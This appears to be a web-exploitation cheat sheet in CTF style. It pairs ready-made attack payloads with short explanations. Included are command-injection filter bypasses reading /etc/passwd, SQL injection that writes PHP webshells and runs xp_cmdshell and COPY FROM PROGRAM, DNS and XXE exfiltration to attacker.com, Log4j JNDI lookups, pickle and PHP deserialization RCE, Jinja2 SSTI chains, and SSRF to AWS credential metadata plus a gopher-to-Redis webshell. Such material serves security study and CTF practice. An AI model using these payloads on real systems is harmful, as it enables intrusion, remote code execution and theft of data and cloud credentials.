echo (true ? 'a' : false ? 'b' : 'c'); // 'b'Why: The ternary operator is left-associative in PHP. This expression is parsed as (true?'a':false)?'b':'c'. The first part evaluates to 'a', which is truthy, so the second ternary returns 'b'.
echo `whoami`;How it works: Backticks are the execution operator in PHP. They run the enclosed string as a shell command and return the output.
preg_match("/^.*$/", "hello\nworld"); // falseWhy: The dot (.) in regex doesn't match newlines (\n). The string contains a newline, so the pattern fails.
preg_match("/\\\\/", "\\"); // Correct - matches
preg_match("/\\/", "\\"); // WrongWhy: To match a single backslash in regex, you need to escape it twice:
- First, PHP string escaping:
\\becomes\in the string - Then regex engine sees
\and needs to escape it:\\in regex - So total: PHP string
\\\\becomes\\in regex, which matches a single\
chr(259) === chr(3); // 256 modulo
chr(-87) === chr(169); // Add multiples of 256 until positiveHow it works: chr() takes the value modulo 256 (for positive) or adds 256 until positive (for negative). This can be used to generate characters without using their ASCII values directly.
$a = "9D9";
var_dump(++$a); // string(3) "9E0"How it works: PHP's string increment follows a pattern:
- Increment the rightmost alphanumeric character
9→0with carry,D→E- Result:
9E0
$a = "9E0";
var_dump(++$a); // float(10)Now 9E0 is treated as scientific notation (9×10⁰ = 9), so incrementing gives 10 as a float.
%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f = "system"How it works: Bitwise AND with 0x7F (127) clears the high bit of each byte, converting extended ASCII to standard ASCII. This can be used to construct strings without using the actual characters.
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
// $_ = "assert"How it works: XOR operations can combine characters to form other characters. This is a common obfuscation technique to create strings like assert without using those letters directly.
var_dump([0 => 0] === [0x100000000 => 0]); // True in some versionsWhy: In some PHP versions, integer overflow in array key comparison causes 0x100000000 (2³²) to overflow to 0 on 32-bit systems, making the keys equal.
basename("index.php/config.php/喵"); // Returns "config.php"Why: Due to Unicode handling issues, basename() incorrectly parses paths with multibyte characters. The expected result would be 喵 (the last component), but it returns config.php instead.
Command injection occurs when user input is passed to system commands without proper sanitization. Attackers can inject additional commands using shell metacharacters.
| cat flagHow it works: The pipe | takes the output of the previous command and feeds it as input to the next command. If the original command was ping $input, using | cat flag would execute ping | cat flag, which ignores the ping and just cats the flag.
&& cat flagHow it works: && means "execute the next command only if the previous succeeded". This ensures both commands run regardless of the original command's behavior.
; cat flagHow it works: The semicolon ; is a command separator. It allows multiple commands on one line, regardless of success/failure.
%0a cat flagHow it works: %0a is URL-encoded newline. In many contexts, a newline acts as a command separator like ;. This bypasses filters that look for ; or &&.
"; cat flag"How it works: Used when input is inside quotes. If the original command is echo "$input", injecting "; cat flag" closes the first quote, executes the command, then opens a new quote to avoid syntax errors.
`cat flag`How it works: Backticks execute the enclosed command and substitute its output. If the original command uses the output, this can be very powerful.
cat $(ls)How it works: $() is command substitution (modern version of backticks). The inner command runs first, and its output becomes an argument to the outer command.
cat fl?gHow it works: ? matches exactly one character. This will match flag, fl1g, fl2g, flAg, etc. Useful when you don't know the exact filename.
/???/??t /???/p??s??How it works: This matches /bin/cat /etc/passwd:
/???/matches any 3-character directory under root (like/bin/,/etc/,/dev/)??tmatches any 3-character file ending in 't' (likecat,cut,fmt)/???/p??s??matches/etc/passwd(4 chars after p, butpasswdis 6 chars total)
When spaces are filtered, use these alternatives:
cat${IFS}flagHow it works: ${IFS} is the Internal Field Separator variable, which contains whitespace characters (space, tab, newline). The shell expands it to actual whitespace.
cat$IFS$2flagHow it works: $2 is the second argument to the script/shell. If it's empty, this becomes cat$IFSflag which expands to cat flag.
cat</etc/passwdHow it works: < redirects file contents to stdin. cat without arguments reads from stdin. So this works as a substitute for cat /etc/passwd.
{cat,/etc/passwd}How it works: Brace expansion in bash. This expands to cat /etc/passwd, with the comma acting as a separator.
X=$'cat\x20/etc/passwd' && $XHow it works: $'...' is ANSI-C quoting. \x20 is a space character. This creates a variable containing the command with space, then executes it.
IFS=,;`cat<<<uname,-a`How it works:
IFS=,sets the field separator to comma<<<is a here-string, feeding the string tocatas input- Without spaces, this works because
catreads from stdin
When certain keywords are blocked:
A=fl;B=ag;cat $A$BHow it works: Variables are expanded before command execution, so the shell sees cat flag but the filter only sees variable assignments.
cat fl${x}agHow it works: ${x} expands to empty string if x is unset. So fl${x}ag becomes flag, but the filter sees the pattern with ${x}.
cat tes$(z)t/flagHow it works: $(z) executes command z (which probably doesn't exist) and substitutes nothing (due to error), resulting in test/flag.
${PATH:0:1} # First char of PATH (often '/')
${PATH:1:1} # Second char (often 'u')
${PATH:0:4} # First 4 chars (often '/usr')
${PS2} # Often '>'
${PS4} # Often '+'How it works: ${VAR:offset:length} extracts substrings from environment variables. These can be combined to build command strings without typing the characters directly.
cat fl""ag
cat fl''ag
cat "fl""ag"How it works: Quotes around empty strings are removed during parsing, leaving cat flag. This can break filters that look for exact strings.
c\at fl\agHow it works: The backslash escapes the next character, but since \a and \t aren't special, they're just removed during parsing, leaving cat flag.
push graphic-context
viewbox 0 0 640 480
fill 'url(https://attacker.com";ls "-la)'
pop graphic-context
How it works:
- ImageMagick's MVG format supports
url()for loading images from URLs - It uses external programs (like
curlorwget) to fetch these URLs - By injecting shell metacharacters (
"and;) in the URL, we can break out of the intended command - The injected
ls -laexecutes on the server
os.system("ls") # Simple execution, returns exit code
os.popen("ls").read() # Captures output
os.execl("/bin/ls","") # Replaces current process
os.execlp("ls","") # Searches PATH
os.execv("/bin/ls",['']) # Uses argument list
subprocess.call("ls") # Without shell=True, needs list
subprocess.call("ls|cat", shell=False) # Fails - pipe not supported
subprocess.call("ls|cat", shell=True) # Works - uses shell
eval("__import__('os').system('ls')") # Dynamic import
exec("__import__('os').system('ls')") # exec is statement in Py2, function in Py3
commands.getoutput('ls') # Deprecated moduleopen("| ls") # Pipe to open()
IO.popen("ls").read # IO.popen
Kernel.exec("ls") # exec replaces process
Kernel.method("open").call("|ls").read() # Method object
`ls` # Backticks
system("ls") # system()
eval("ruby code")
exec("ls")
%x{ls} # %x literal
%x'ls'
%x[ls]
%x(ls)
%x;ls;
"Process".constantize.spawn("id") # Rails constantize
Process.spawn("id")
PTY.spawn("id") # Pseudo-terminal$$/$$ # => 1 (current PID / PID)
'' << 97 << 98 << 99 # => "abc"
$: # $LOAD_PATHHow it works: Ruby allows constructing strings from character codes and using special variables to bypass filters that block alphanumeric characters.
SUBSTR('abc', 1, 1) -- 'a'
MID('abc', 1, 1) -- 'a' (same as SUBSTR)
SUBSTRING('abc', 1, 1) -- 'a'
ASCII('A') -- 65
CHAR(65) -- 'A'
CONCAT('a', 'b') -- 'ab' (returns NULL if any argument is NULL)
CONCAT_WS('@', 'gg', 'inin') -- 'gg@inin' (with separator)
CAST('125e342.83' AS signed) -- 125 (converts to integer)
CONVERT('23', SIGNED) -- 23SLEEP(5) -- Simple delay
BENCHMARK(1000000, MD5('a')) -- Execute many times (CPU-based delay)09 (tab), 0A (newline), 0B (vertical tab), 0C (form feed),
0D (carriage return), A0 (non-breaking space), 20 (space)
MySQL treats many characters as whitespace, which can be used to bypass WAFs.
LOAD_FILE('/etc/passwd')Requirements:
FILEprivilegesecure_file_privnot restricting access- File must be readable by MySQL user
SELECT "<?php system($_GET[1]);?>"
INTO OUTFILE "/var/www/html/shell.php"How it works: Writes query result to a file. Great for webshells if you know a writable directory.
LOAD DATA INFILE '/etc/passwd'
INTO TABLE test
FIELDS TERMINATED BY "\n"How it works: Server reads file and inserts into table. Useful for importing data.
LOAD DATA LOCAL INFILE '/etc/hosts'
INTO TABLE test
FIELDS TERMINATED BY "\n"Important: LOCAL means the client reads the file, not the server. This doesn't require FILE privilege and works with UNC paths on Windows:
LOAD DATA LOCAL INFILE '\\\\attacker.com\\test'
INTO TABLE mysql.testSET global general_log='on';
SET global general_log_file='C:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';How it works:
general_loglogs all queries to a file- By changing the log file location to the web directory
- Each query gets written to that file
- Writing PHP code in a query embeds it in the log file
@@version -- MySQL version
USER() -- Current user (with host)
CURRENT_USER() -- Authenticated user (without host)
DATABASE() -- Current database
SCHEMA() -- Same as DATABASE()
@@basedir -- Installation directory
@@datadir -- Data directory
@@plugin_dir -- Plugin directory (for UDFs)
@@hostname -- Server hostname
@@version_compile_os -- Operating system
@@version_compile_machine -- System architecture
@@global.secure_file_priv -- Import/export restrictionsSELECT X'5061756c' -- 'Paul' (X'...' notation)
SELECT 0x5061756c -- 'Paul' (0x... notation)
SELECT 0x5061756c + 0 -- 1348564332 (as number)Bypassing quote filters:
SELECT LOAD_FILE(0x2F6574632F706173737764) -- /etc/passwd in hexAlternative with CHAR():
CHAR(97, 100, 109, 105, 110) -- 'admin'# -- Single line comment (hash)
-- -- SQL comment (needs space after --)
/**/ -- Multi-line comment
/*!50001 select * from test */ -- Conditional execution (if version >= 5.00.01)
; -- Statement terminator (supports stacking in PDO)Available in MySQL >= 5.0. Contains metadata about all databases, tables, and columns.
Key tables:
SCHEMATA- database namesTABLES- table namesCOLUMNS- column namesSTATISTICS- indexes
ORDER BY 1,2,3...NHow it works: Add ORDER BY with increasing column numbers until you get an error. The last successful number is the column count.
UNION SELECT 1,2,3...NHow it works: Try UNION SELECT with increasing NULLs/numbers until the query executes without error.
-- Database names
UNION SELECT 1,2,schema_name
FROM information_schema.schemata
LIMIT 1,1How it works: Each UNION SELECT returns one row. Use LIMIT to iterate through results.
-- Table names
UNION SELECT 1,2,table_name
FROM information_schema.tables
WHERE table_schema='mydb'
LIMIT 0,1-- Column names
UNION SELECT 1,2,column_name
FROM information_schema.columns
WHERE table_schema='mydb'
LIMIT 0,1-- MySQL user hashes
SELECT CONCAT(user, ":", password) FROM mysql.userSELECT ~0 + 1 -- Error (BIGINT overflow)
SELECT exp(710) -- Error (DOUBLE value out of range)Extracting data with overflow:
SELECT exp(~(SELECT * FROM (SELECT user())x));
-- ERROR 1690: DOUBLE value out of rangeHow it works: The subquery returns a string, which is converted to a number for exp(). The conversion process causes an error that reveals the data.
SELECT extractvalue(1, concat(0x7e, (SELECT @@version), 0x7e));
-- ERROR 1105: XPATH syntax error: '~5.7.17~'How it works: extractvalue() expects valid XPath. By injecting a tilde (~), we cause an XPath error that reveals the data.
SELECT updatexml(1, concat(0x7e, (SELECT @@version), 0x7e), 1);
-- ERROR 1105: XPATH syntax error: '~5.7.17~'SELECT count(*) FROM test
GROUP BY concat(version(), floor(rand(0)*2));
-- ERROR 1062: Duplicate entry '5.7.171' for key '<group_key>'How it works: rand(0) generates predictable values. floor(rand(0)*2) alternates between 0 and 1. When GROUP BY creates a temporary table, duplicate keys cause an error that reveals the data.
-- Extract database name via error
SELECT 1,2,3 FROM users WHERE 1=abc();
-- ERROR 1305: FUNCTION db_name.abc does not existHow it works: Calling a non-existent function causes an error that reveals the database name.
-- Extract table name
SELECT 1,2,3 FROM users WHERE Polygon(id);
-- ERROR 1367: Illegal non geometric '`db`.`table`.`id`' valueHow it works: Using a geometric function on a non-geometric column reveals the table and column names.
-- Extract column names via join error
SELECT 1,2,3 FROM users
WHERE (SELECT * FROM (SELECT * FROM users AS a JOIN users AS b) AS c);
-- ERROR 1060: Duplicate column name 'column_name'How it works: Self-join without aliases creates duplicate column names, and the error reveals them.
id=87 AND length(user())>0 -- True if user exists
id=87 AND ascii(mid(user(),1,1))>100 -- Check first character
id=87 OR ((SELECT user()) REGEXP BINARY '^[a-z]') -- Regex matchHow it works: The page response changes (different content, different HTTP status) based on whether the condition is true or false.
id=87 AND IF(length(user())>0, SLEEP(10), 1)=1
id=87 AND IF(ascii(mid(user(),1,1))>100, SLEEP(10), 1)=1How it works: The page response is delayed by SLEEP() if the condition is true. No visible output, just timing differences.
SELECT LOAD_FILE(CONCAT("\\\\", schema_name, ".dns.attacker.com\\a"))
FROM information_schema.schemataHow it works: On Windows, LOAD_FILE with UNC path attempts to connect to the remote server. This triggers a DNS lookup to the attacker's domain, revealing the database name in the subdomain.
id=-1/**/UNION/**/SELECT/**/1,2,3 -- Comments as whitespace
id=-1%09UNION%0DSELECT%0A1,2,3 -- URL-encoded whitespace
id=(-1)UNION(SELECT(1),2,3) -- ParenthesesSeLeCt * FrOm users -- Case mixing
information_schema.schemata -- Normal
`information_schema`.schemata -- Backticksid=0x61646d696e -- Hex encoding
id=CONCAT(CHAR(97),CHAR(100),CHAR(109)...) -- CHAR() functionid=0e2union select 1,2,3 -- '0e2' = 0
id=0e1union(select~1,2,3) -- With bitwise NOT
id=.1union select 1,2,3 -- Decimal pointHow it works: MySQL accepts numbers in scientific notation and decimal format. If the filter looks for union after a number, putting 0e2 (valid number) tricks it.
AND -> && -- Bitwise AND
OR -> || -- Bitwise OR
= -> LIKE, IN, BETWEEN
a = 'b' -> NOT a > 'b' AND NOT a < 'b' -- Double negative
> 10 -> NOT BETWEEN 0 AND 10 -- Range inversionSome WAFs only check application/x-www-form-urlencoded content. Changing to multipart/form-data can bypass inspection.
-- In GBK encoding, 0xdf + 0x5c forms a valid Chinese character
%df' -> %df\' -> 運' (0xdf5c is a Chinese character)How it works:
addslashes()ormagic_quotes_gpcescapes quotes with\'- In GBK, the backslash
\(0x5C) combines with the previous byte (0xDF) to form a valid multi-byte character - The quote is no longer escaped, allowing SQL injection
?order=IF(1=1, username, password) -- Conditional ordering
?order=IF(1=1,1,(SELECT 1 UNION SELECT 2)) -- Error-based
?order=IF(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) -- Time-based-- String concatenation
'a' + 'b' -- 'ab' (not CONCAT)
-- Time delay
WAITFOR DELAY '0:0:10' -- 10 seconds
-- LIMIT alternative
SELECT TOP 87 * FROM xxx -- First 87 rows
-- Rows 78-87
SELECT pass FROM (
SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS RowNum
FROM mydb.dbo.mytable
) x WHERE RowNum BETWEEN 78 AND 87SELECT USER
SELECT DB_NAME()
SELECT @@VERSION
SELECT @@SERVERNAME
SELECT HOST_NAME()-- Enable (requires sysadmin)
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE
-- Execute command
EXEC xp_cmdshell 'whoami'- Every SELECT must have a FROM clause
- Use
dualtable when no table is needed - Single quotes for strings, double quotes for identifiers
-- Version
SELECT banner FROM v$version WHERE rownum=1
-- Current user
SELECT USER FROM dual
-- Time-based
SELECT CASE WHEN (1=1)
THEN 'a'||dbms_pipe.receive_message(('a'),10)
ELSE NULL
END FROM dual-- No IF, use CASE
CASE WHEN (condition) THEN ... ELSE ... END
-- No sleep, use RANDOMBLOB
RANDOMBLOB(100000000) -- Large blob creation causes delay
-- Version
SELECT sqlite_version()
-- Quote handling
-- No \' escaping, use '' for single quote-- Time delay
pg_sleep(5)
-- Base64 encoding/decoding
ENCODE('123\000\001', 'base64') -- 'MTIzAAE='
DECODE('MTIzAAE=', 'base64') -- '123\000\001'
-- Dollar-quoted strings (alternative to single quotes)
SELECT $$This is a string$$-- Create table for output
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
-- Execute command
COPY cmd_exec FROM PROGRAM 'id';
-- View results
SELECT * FROM cmd_exec;How it works: COPY ... FROM PROGRAM allows executing system commands directly from PostgreSQL (versions 9.3-11.2 with default settings).
LFI occurs when an application includes files based on user input without proper validation. Attackers can read sensitive files or achieve RCE.
../../../../../../etc/passwdHow it works: ../ moves up one directory. By going up enough levels, you reach the root directory, then navigate to /etc/passwd.
../../../../../../etc/passwd%00How it works: Null byte injection. In PHP < 5.3.4 with magic_quotes_gpc off, the null byte terminates the string, so if the application appends .php, the null byte prevents it.
....//....//....//....//etc/passwdHow it works: Double slash bypass. Some filters remove ../ but leave ....// which normalizes to ../ after processing.
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswdHow it works: URL encoding. %2e = ., %2f = /. This bypasses filters that look for literal ../.
php://filter/convert.base64-encode/resource=index.phpHow it works: PHP wrappers allow accessing I/O streams. php://filter applies filters to the stream. convert.base64-encode base64-encodes the output, preventing PHP execution so you can read the source code.
php://filter/convert.base64-encode|convert.base64-decode/resource=index.phpHow it works: Filters are applied in order. This encodes then decodes, effectively doing nothing but can bypass some checks.
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=index.phpHow it works: iconv converts between character encodings. This can corrupt PHP code, making it display as text instead of executing.
?page=php://input
POST: <?php system("id"); ?>How it works: php://input reads raw POST data. If allow_url_include=On, the POST data is treated as a file to include, executing the PHP code.
Attack flow:
- Upload a file (creates temp file like
/tmp/phpXXXXXX) - Use phpinfo() to leak the temp file path
- LFI to include the temp file before it's deleted
- Execute the uploaded PHP code
Limitation: Ubuntu 17+ enables PrivateTmp by default, preventing this technique.
/var/lib/php5/sess_[PHPSESSID]
/var/lib/php/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID]
/var/tmp/sess_[PHPSESSID]
C:\Windows\Temp\sess_[PHPSESSID] # Windows
How it works: PHP stores session data in files. If you can control session data (e.g., through user-controlled variables), you can inject PHP code that gets included.
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file1" />
<input type="submit" />
</form>How it works: When session.upload_progress.enabled=On (default), PHP writes upload progress to the session. The session contains the value of PHP_SESSION_UPLOAD_PROGRESS. If you control that value, you can inject PHP code.
Race condition: The session file is cleaned up after upload. You need to include it before cleanup.
/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.phpHow it works: pearcmd.php is a command-line tool that can be accessed via web if register_argc_argv is enabled. config-create writes a configuration file containing the PHP code.
?file=data://text/plain,<?php phpinfo()?>
?file=data:text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=Requirements: allow_url_fopen=On and allow_url_include=On
How it works: data:// embeds data directly in the URL. The data is treated as a file to include.
zip malicious.zip shell.php
mv malicious.zip malicious.jpg
?file=zip://malicious.jpg#shell.phpHow it works: zip:// reads files from a ZIP archive. The # specifies which file in the archive to access. This can bypass file extension checks because the file is a JPG but the wrapper reads the ZIP contents.
<?php
$p = new PharData('payload.zip', 0, 'payload', Phar::ZIP);
$p->addFromString('shell.jpg', '<?php system($_GET[cmd]); ?>');
?>
?file=phar://payload.zip/shell.jpgHow it works: phar:// reads from Phar archives. Like zip://, this bypasses extension checks.
<!--#exec cmd="command"-->
<!--#include file="../../web.config"-->How it works: SSI is a server-side scripting language for web servers. If .shtml files are enabled, these directives execute commands or include files.
File upload vulnerabilities allow attackers to upload malicious files that the server then executes or serves.
How it works: Client-side validation (JavaScript) only runs in the browser. You can:
- Disable JavaScript
- Use browser dev tools to modify the form
- Intercept and modify the request with Burp Suite
- Upload directly to the endpoint using tools like curl
Content-Type: image/jpeg
How it works: The server checks the Content-Type header. By changing it to an allowed type, you can bypass checks that don't verify the actual file content.
.pHP
.PhP
How it works: Some filters are case-sensitive and only block .php. Using .pHP might bypass.
.php. # Trailing dot
.php(space) # Trailing space
How it works: Windows filesystems ignore trailing dots and spaces in filenames. shell.php. becomes shell.php.
.php::$DATA
How it works: NTFS alternate data streams. ::$DATA refers to the default data stream, but Windows treats file.php::$DATA as file.php.
.php.jpg
How it works: Some servers only check the last extension. If the server executes based on the first extension, .php.jpg might execute as PHP.
.php3
.php4
.php5
.php7
.pht
.phtml
.phar
How it works: Older PHP versions or specific configurations may execute these extensions as PHP.
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>How it works: If you can upload a .htaccess file, you can configure Apache to treat any file named "shell" as PHP, regardless of its extension.
ErrorDocument 404 %{file:/etc/passwd}How it works: ErrorDocument can include file contents. This reads /etc/passwd and displays it in the 404 error page.
auto_prepend_file = shell.jpgHow it works: .user.ini is a per-directory PHP configuration file. If PHP runs as FastCGI, this directive causes every PHP file in that directory to include shell.jpg before execution.
JPEG header:
FF D8 FF E0 00 10 4A 46 49 46
Example PHP with GIF header:
GIF89a
<?php system($_GET[cmd]); ?>
How it works: File signature checks look for specific bytes at the start of the file. By adding a valid image header before your PHP code, you can bypass these checks while still having valid PHP after the header.
Serialization converts objects to strings for storage/transmission. Deserialization reconstructs objects from these strings. If an attacker controls the serialized string, they can manipulate object properties and trigger dangerous methods.
String: s:size:"value";
Integer: i:value;
Boolean: b:value; (1 or 0)
NULL: N;
Array: a:size:{key definition;value definition;...}
Object: O:strlen(class name):"class name":property count:{properties}
Public:
class Kaibro {
public $test = "value";
}
// O:6:"Kaibro":1:{s:4:"test";s:5:"value";}Private:
class Kaibro {
private $test = "value";
}
// O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:5:"value";}Note: Private properties have the class name wrapped in null bytes: \0ClassName\0propertyName.
Protected:
class Kaibro {
protected $test = "value";
}
// O:6:"Kaibro":1:{s:7:"%00*%00test";s:5:"value";}Note: Protected properties have \0*\0 prefix.
__wakeup() // Called during unserialization
__destruct() // Called when object is destroyed
__toString() // Called when object is used as stringExploitation: If a class has a __wakeup() or __destruct() method that performs dangerous actions, you can trigger those actions by deserializing a crafted object.
<?php
class Kaibro {
public $test = "ggininder";
function __wakeup() {
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$obj = unserialize($input);
?>Payload: O:6:"Kaibro":1:{s:4:"test";s:3:";id";}
How it works: The __wakeup() method executes when the object is unserialized. It runs system("echo ".$this->test). By setting test to ;id, the command becomes system("echo ;id") which executes id.
// Normal: O:6:"Kaibro":1:{s:4:"test";s:3:";id";}
// Bypass: O:6:"Kaibro":2:{s:4:"test";s:3:";id";}How it works: In vulnerable PHP versions (PHP5 <5.6.25, PHP7 <7.0.10), if the property count is greater than the actual number, __wakeup() is skipped. This allows bypassing any security checks in __wakeup().
<?php
class TestObject {}
$phar = new Phar("payload.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new TestObject());
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>How it works: PHAR files store metadata in serialized format. When you use phar:// with many file functions (like file_get_contents, file_exists), PHP automatically unserializes this metadata.
Trigger functions:
file_get_contents('phar://payload.phar/test.txt')file_exists('phar://payload.phar')is_dir('phar://payload.phar')include('phar://payload.phar')
Bypass GIF header requirement:
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER(); ?>');Why: Some applications check file signatures. Adding a GIF header makes the file appear as a valid GIF while still being a valid PHAR.
import os
import pickle
import base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('id',))
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)How it works: The __reduce__ method defines how to reconstruct the object during unpickling. By returning a callable and arguments, you can execute arbitrary code when the object is unpickled.
- Raw:
ac ed 00 05 ... - Base64:
rO0AB ...
How to recognize: Java serialized data starts with 0xaced (magic number) and version 0x0005.
Tool: ysoserial generates payloads for common Java gadget chains.
java -jar ysoserial.jar CommonsCollections1 'id' | base64${jndi:ldap://attacker.com/payload}How it works: JNDI (Java Naming and Directory Interface) allows looking up resources. If an attacker controls the JNDI name, they can point to a malicious LDAP server that returns a serialized object, leading to RCE.
${jndi:ldap://${sys:java.version}.attacker.com/a}How it works: Log4j versions 2.0-2.14.1 allow JNDI lookups in log messages. By controlling log input, attackers can trigger LDAP lookups and RCE.
Template engines combine templates with data to generate HTML. If user input is embedded directly into templates without proper escaping, attackers can inject template syntax to execute code.
{{7*7}} # Jinja2, Twig: 49
${7*7} # Freemarker, Velocity: 49
<%= 7*7 %> # ERB (Ruby): 49
${{7*7}} # Smarty: 49
{{7*'7'}} # Jinja2: '7777777', Twig: '49'How to interpret: Different template engines have different syntax. The result tells you which engine is being used.
{{ ''.__class__.__mro__[2].__subclasses__() }}How it works:
''.__class__gets the string class.__mro__gets the method resolution order (parent classes)[2]picks a parent class (oftenobject).__subclasses__()lists all subclasses ofobjectloaded in memory
This reveals all available classes, which can be searched for dangerous functions.
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c }}
{% endif %}
{% endfor %}How it works: Iterates through all subclasses, looking for a specific class by name. catch_warnings often has access to eval through its module.
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}How it works:
- Find
catch_warningsclass - Access its
__init__method's__globals__(all global variables) - Look for dictionary objects (
{}.__class__) - Check if they contain
eval - Execute
evalwith Python code
{{ ''['__class__'] }} # Bracket notation
{{ ''|attr('__class__') }} # Jinja2 attr filter
{{ ''["\x5f\x5fclass\x5f\x5f"] }} # Hex encoding{{ ['id']|map('passthru') }}How it works: The map filter applies a function to each array element. Here it applies passthru to the string 'id', executing the command.
{{ _self.env.setCache("ftp://attacker.net:21") }}
{{ _self.env.loadTemplate("backdoor") }}How it works: _self refers to the template itself. By setting the cache to an FTP URL, you can make Twig load templates from your server, potentially loading malicious code.
${"freemarker.template.utility.Execute"?new()("id")}How it works: Execute is a utility class in Freemarker that executes system commands. ?new() creates an instance, then calls it with the command string.
SSRF occurs when an attacker can make the server make HTTP requests to arbitrary URLs. This can be used to access internal services, cloud metadata, or bypass firewalls.
Common entry points:
- Webhooks: User-provided URL that server fetches
- XXE: External entity loading
- PDF generators: Include external resources
- Open Graph:
og:imageURLs - Image processors: ImageMagick, FFmpeg
127.0.0.1
127.00000.00000.0001 # Leading zeros
127.0.1 # Short form
127.1 # Even shorter
0.0.0.0 # All interfaces
0 # Shorthand for 0.0.0.0
localhost
Why they work: DNS resolution and IP parsing libraries handle these variations differently.
127.0.0.0/8 # Any 127.x.x.x works
127.12.34.56
How it works: Some filters only block 127.0.0.1 specifically, not the entire loopback range.
http://2130706433 # Decimal: 127.0.0.1
http://0x7f000001 # Hex
http://017700000001 # Octal
http://[::] # IPv6 unspecified
http://[::1] # IPv6 localhost
How it works: IP addresses can be represented in multiple formats. A filter checking for 127.0.0.1 as a string won't catch these.
127.0.0.1.xip.io # Resolves to 127.0.0.1
How it works: Services like xip.io provide wildcard DNS that resolves any subdomain to the IP in the subdomain.
<?php
header('Location: http://169.254.169.254/latest/meta-data/');
?>How it works:
- Application validates the initial URL (allowed domain)
- Application follows the 302 redirect to the internal IP
- The internal request succeeds, bypassing the validation
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
What they contain: AWS instance metadata, including IAM credentials that can be used to access AWS services.
http://metadata.google.internal/computeMetadata/v1/
Note: Requires header Metadata-Flavor: Google
gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a
How it works: Gopher is a simple protocol that can tunnel TCP traffic. By crafting gopher URLs, you can interact with any TCP service (Redis, MySQL, FastCGI) through SSRF.
gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fvar%2fwww%2fhtml%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT
What it does: Connects to Redis, sets a PHP webshell, and saves it to the web directory.
XXE attacks exploit XML parsers that process external entities. This can lead to file disclosure, SSRF, or DoS.
<!DOCTYPE root [
<!ENTITY param "Hello">
]>
<root>¶m;</root>How it works: Defines an entity ¶m; that expands to "Hello". This is normal XML functionality.
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>How it works: The SYSTEM keyword tells the parser to load an external resource. If the parser doesn't disable external entities, it reads the file and includes its contents.
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://attacker.com/xxe.txt">
]>
<root>&xxe;</root>How it works: The parser makes an HTTP request to the attacker's server, enabling data exfiltration or SSRF.
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">
%remote;
]>
<root>&b;</root>xxe.dtd:
<!ENTITY b SYSTEM "file:///etc/passwd">How it works: Parameter entities (%remote) are used in DTDs, not in the XML body. This allows two-stage attacks where the malicious DTD is fetched from an attacker-controlled server.
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">
%remote;
%all;
%send;
]>xxe.dtd:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">How it works:
%remoteloads the attacker's DTD- The DTD defines
%allwhich defines%send %sendmakes a request to the attacker with the file contents
This exfiltrates data even when no output is shown in the response.
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
]>
<data>&a3;</data>How it works: Each entity expands exponentially. &a3; expands to 10³ = 1000 copies of "dos", consuming massive memory.
JavaScript objects inherit properties from their prototype. By modifying Object.prototype, attackers can add properties to all objects, potentially altering application behavior.
goodshit = {}
goodshit.__proto__.polluted = "ggininder"
// Now all objects have this property
user = {}
console.log(user.polluted) // "ggininder"How it works: __proto__ refers to the object's prototype. Adding a property to __proto__ adds it to the prototype, which all objects inherit from.
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
Object.assign(o1, o2)
console.log(o1.b) // 2
